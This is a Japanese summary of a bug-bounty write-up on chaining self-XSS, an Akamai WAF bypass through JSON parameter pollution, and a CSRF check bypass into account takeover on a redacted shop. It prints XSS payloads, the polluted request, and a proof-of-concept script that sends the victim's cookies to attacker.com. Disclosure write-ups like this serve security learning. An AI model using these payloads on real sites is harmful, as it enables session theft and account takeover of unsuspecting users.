Hello there, ('ω')ノ
セルフXSSからアカウントテイクオーバーへのバグの連鎖を。
脆弱性:
Self XSS
WAF bypass
CSRF
Account takeover
記事:
https://medium.com/@behnam.yazdanpanah/chaining-bugs-from-self-xss-to-account-takeover-82d572136bdf
今回は、オンラインショップでredacted.comと呼ぶことに。
これは、Akamai WAFの背後にPHPで書かれていて。
最初のXSSおよびWAFバイパス:
アプリで少し作業した後に通常の/xhr/mage/accountとは完全異なる。
エンドポイントが注意を引いて。
/xhr_preferences/index/change/
このページは、誕生日やどのブランドをストックしたいのかなど。
一連の質問に答える必要がある顧客の好みに関するもので。
パーソナライズされた製品の推奨事項を取得して。
HTMLインジェクションペイロードを配置すると機能して。
その後、これまでで最も有名なXSSペイロードを試すと。
“><img src=1 onerror=alert(1)>
下記のレスポンスからAkamai WAFを推測して。
403 Forbidden
Server: AkamaiGHost
その後、Akamai WAFをバイパスしようとして下記を試すもののどれもうまくいかず。
https://github.com/kill02lc/WAF-bypass-xss-payloads
ただ、名前のフィールドにXSSペイロードを保存できたものの。
他のフィールドでは、403 Forbiddenが返されるので。
そのエンドポイントの違いについてを調査することに。
下記は、顧客情報の更新のリクエストで。
/xhr/mage/account/update-customer-info
リクエストはJSON形式で送信され、レスポンスは200 OKでしたが。
このパラメータはXSSに対して脆弱ではなかったことに注目して。
その後、すぐにリクエストを/xhr_preferences/index/change/のエンドポイントを。
クエリ文字列からJSONに変更して送信すると。
HTTP/2 302 Found を返すので。
WAFをバイパスできたが、設定に保存されないことを意味して。
そこで、次のようなJSONによるパラメータ汚染リクエストを送信する必要があって。
{“anything_else”:”iiiiiiiiiiii”}&birth_day=2&birth_month=1&birth_year=2009&brands_to_stock%5B%5D=”><img+src=1+onerror=alert(1)>&anything_else=test
すると、セルフXSSとしてトリガされて。
2番目のCSRFバイパス:
バックエンドは、ユーザが自分のアカウントにログインするときに。
単純なメカニズムを使用しており。
CSRFと呼ばれるCOOKIEを次のようなランダムな値で設定して。
Set-Cookie: csrf=7e3f4ebc6d40b5; Path=/
そして、POSTリクエストを送信するたびに。
CSRFがCOOKIEとヘッダに存在するかどうかを確認して。
それらが等しい場合は、200OKを返して。
そうでなければ、下記のレスポンスを。
403 Forbidden {“error”:”invalid_request_csrf”}
下記は、無効なリクエストのCSRFで。
/xhr/mage/account/update-customer-info
初めにも書いたように下記のエンドポイントは、完全に異なるので。
リクエストからCsrfヘッダを削除するだけで、機能して。
/xhr_preferences/index/change/
この脆弱性により、攻撃者は任意のjavascriptを実行して。
脆弱性を再現するためのアカウント乗っ取り手順を実行できて。
<script>
function loadDoc() {
const xhttp = new XMLHttpRequest();
xhttp.onload = function() {
document.getElementById(“demo”).innerHTML = this.responseText;
}
xhttp.open(“POST”, “https://www.redacted.com/xhr_preferences/index/change/");
xhttp.setRequestHeader(“Content-type”, “application/x-www-form-urlencoded”);
xhttp.withCredentials = true;
xhttp.send(‘{“anything_else”:”iiiiiiiiiiii”}&birth_day=2&birth_month=1&birth_year=2009&brands_to_stock%5B%5D=”><img+src%3dx+onerror%3dthis.src%3d”http%3a//attacker.com/%3fc%3d”%2bdocument.cookie>&anything_else=test’);
}
loadDoc();
setTimeout(()=> {
//loadDoc();
window.location.href = “https://www.redacted.com/xhr_preferences/index/index/";
}, 5000)
</script>
攻撃者の手順:
攻撃者はPOC.htmlを編集して、attacker.comを自分のサイトに変更して。
保存するだけで。
犠牲者のステップ:
1.被害者は自分のアカウントにログインして。
2.被害者が攻撃者のサイトを開いて。
Best regards, (^^ゞ